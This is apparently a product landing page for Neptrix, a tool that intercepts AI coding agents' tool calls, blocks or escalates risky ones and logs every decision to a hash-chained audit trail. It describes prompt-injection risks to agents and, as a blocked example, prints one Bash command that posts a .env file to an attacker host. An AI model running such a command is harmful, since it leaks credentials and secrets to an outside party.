Know what yourAI agents actually do
Neptrix evaluates every action your AI agent proposes before it executes. On the hosted platform, dangerous actions are stopped and sensitive operations wait for your approval. The desktop beta enforces on your machine from the first connect: a fresh install runs the Default tier, and nothing changes until you change it.
The hosted platform is in closed beta. Join the waitlist to be notified when it reopens.

Hosted platform behaviour shown. The desktop beta enforces locally too, on the tier you choose, and records every decision to your local audit chain.
Hosted platform behaviour shown. The desktop beta enforces locally too, on the tier you choose, and records every decision to your local audit chain.
AI agents have full system access. Most have zero oversight.
Prompt injection can run destructive commands
A single crafted prompt can trick the LLM into deleting files, dumping credentials, or exfiltrating data. The agent executes it without question.
You only find out after the damage
Post-hoc logging tells you what happened. It doesn't stop it happening. By the time you read the log, the file is already gone.
No audit trail for compliance
When regulators ask "what did the AI do?", you need a tamper-evident, cryptographically verified answer. Not terminal history.

From zero to governed in minutes.
One config change. No SDK, no code modifications. Your agent doesn't know Neptrix is there, but you see everything.

SHA-256 hash chain, linked to previous record
Every tool call is intercepted and evaluated against constitutional rules in milliseconds, then allowed, blocked, or escalated to a human. The decision is written to a SHA-256 hash chain before the agent gets its answer. The desktop beta enforces the same way locally, on the tier you choose.
Agent proposes action
Before each tool call (file read, write, bash command) your AI agent sends the proposed action to Neptrix via a hook. No agent code changes.
proposed action
tool: Bash
curl attacker.com/exfil -d @.envConstitutional rules evaluate it
On the hosted platform, 20+ threat detection patterns run in milliseconds - credential access, destructive commands, obfuscation, exfiltration - before execution. The local runtime classes each action by its mechanism (files, commands, network, sub-agents) and enforces its compiled rule set before anything runs.

You stay in control
Safe actions proceed instantly. Dangerous ones are blocked. Sensitive ones wait for your approval. Every decision gets a SHA-256 hash-chained audit trail.

Security you don't have to think about.
Every property below is built into the platform from day one. No configuration, no add-ons, no extra cost. These aren't features, they're guarantees.
Tamper-Evident Audit Trail
SHA-256Every decision is logged before the agent gets a response. SHA-256 hash chain links each record to the last; if anyone tampers with a record, the chain breaks. If logging fails, all actions are blocked automatically.
Fail-Closed by Design
BLOCKWhen in doubt, Neptrix blocks. If the audit service is down, everything stops. If a rule can't be evaluated, it blocks. The system never silently fails; the default is always safety.
Human Escalation
ESCALATERisky actions don't just get logged; they get paused and sent to your dashboard. Approve or reject from anywhere. The agent waits for you. If you don't respond, it times out and blocks.
Threat Detection
20+ PATTERNSOn the hosted platform, 20+ threat patterns detect credential access, data exfiltration, command obfuscation, environment manipulation, and privilege escalation automatically, in milliseconds on every tool call. The local runtime enforces by mechanism instead: every file, command, network and sub-agent action is decided against its compiled rule set before execution.
Agent Control
MONITOREDPause, resume, or revoke any agent from your dashboard in real-time. Full visibility into what each agent is doing, what it attempted, and what was blocked.
5-Minute Setup
< 5 MINClick Connect and the app wires the agent and manages the runtime. No SDK, no code modifications, no agent rewrites. The desktop beta connects Claude Code, Codex, Cursor, Cline, OpenCode and OpenClaw from its Setup page; the hosted platform also supports Windsurf and any agent via REST API.
Works with your stack
One config change. No SDK, no code modifications. Neptrix plugs in as a hook; your agent doesn't even know it's there.

The desktop app connects your agents from its Setup page in minutes. These guides cover the manual routes - and the hosted platform, which is in closed beta.
Desktop beta (recommended)
Hosted platform (closed beta)
Run Neptrix on your own machine.
The desktop app installs and manages the local runtime, and keeps itself up to date. Connect your coding agents from the app's Setup page. Beta builds are available for macOS (Apple silicon) and Windows (x64). The beta enforces from the first connect: a fresh install runs the Default tier, and nothing changes until you change it in the app.
Install the app
Download the desktop beta for macOS or Windows.
Open Setup
The Setup page shows a card for each supported agent.
Click Connect
The app wires the agent and manages the runtime. The first connect installs the runtime with one admin prompt.
How it governs
The beta enforces from the first connect. A fresh install runs the Default tier - dangerous actions are blocked, risky-but-reversible ones ask you first - and nothing changes until you change it in the app.
Four shipped tiers
Default, Low, Medium and High are fixed, fingerprinted rule sets. Medium turns hard blocks into one-click asks: consequential actions ask you first while routine development flows through - on a representative workload, about 29% of decisions ask and under 1% block outright. Those are reference rates, not your machine's numbers.
Exceptions that remember the pattern
Approve an escalation once and Neptrix can remember the pattern, not the command - and it refuses to generalise where no safe pattern exists. Exceptions live in their own overlay, survive tier changes, and every creation and use is recorded on the audit chain.
Seed from history
Everything Neptrix blocked or asked about, grouped by what one exception would cover. Tick what you trust, create them in one go, then share the result as a pack.
Share and import packs
Export your tier plus your approved exceptions as a .neptrixpack file. An import shows a plain-English diff of what loosens before anything applies - and the shipped tiers themselves never change.
The floor - always on
Three rules are compiled beneath every tier - credential egress, governance integrity, persistence - and no tier, pack or exception can weaken them. Enforcement pauses only with your explicit consent (monitoring mode), and decisions are still recorded.
Supported agents
Claude Code
Connected from the Setup page; the app writes the hook and manages the runtime.
Codex
Connect performs the trust handshake and reports success only once Codex itself confirms the hook is trusted.
Cursor
Governed through its hooks, covering edits, tools and shell commands.
Cline
Governed through its PreToolUse hook.
OpenCode
Governed through its plugin API, covering primary, subagent and MCP tools.
OpenClaw
Governed through its plugin hook. See the coverage note below.
Where OpenClaw serves models through the codex app-server backend, governance covers the commands codex treats as untrusted. Commands codex trusts, including credential reads, do not reach the hook, for prevention or for audit. On Windows, Connect supports native Gateway setups only and refuses WSL-backed setups rather than claim coverage.
Windsurf is supported on the hosted platform only; there is no local Windsurf adapter. The local runtime has no HTTP API; agents connect through the adapters above.
Prefer to wire the Claude Code hook by hand? See the local setup guide.
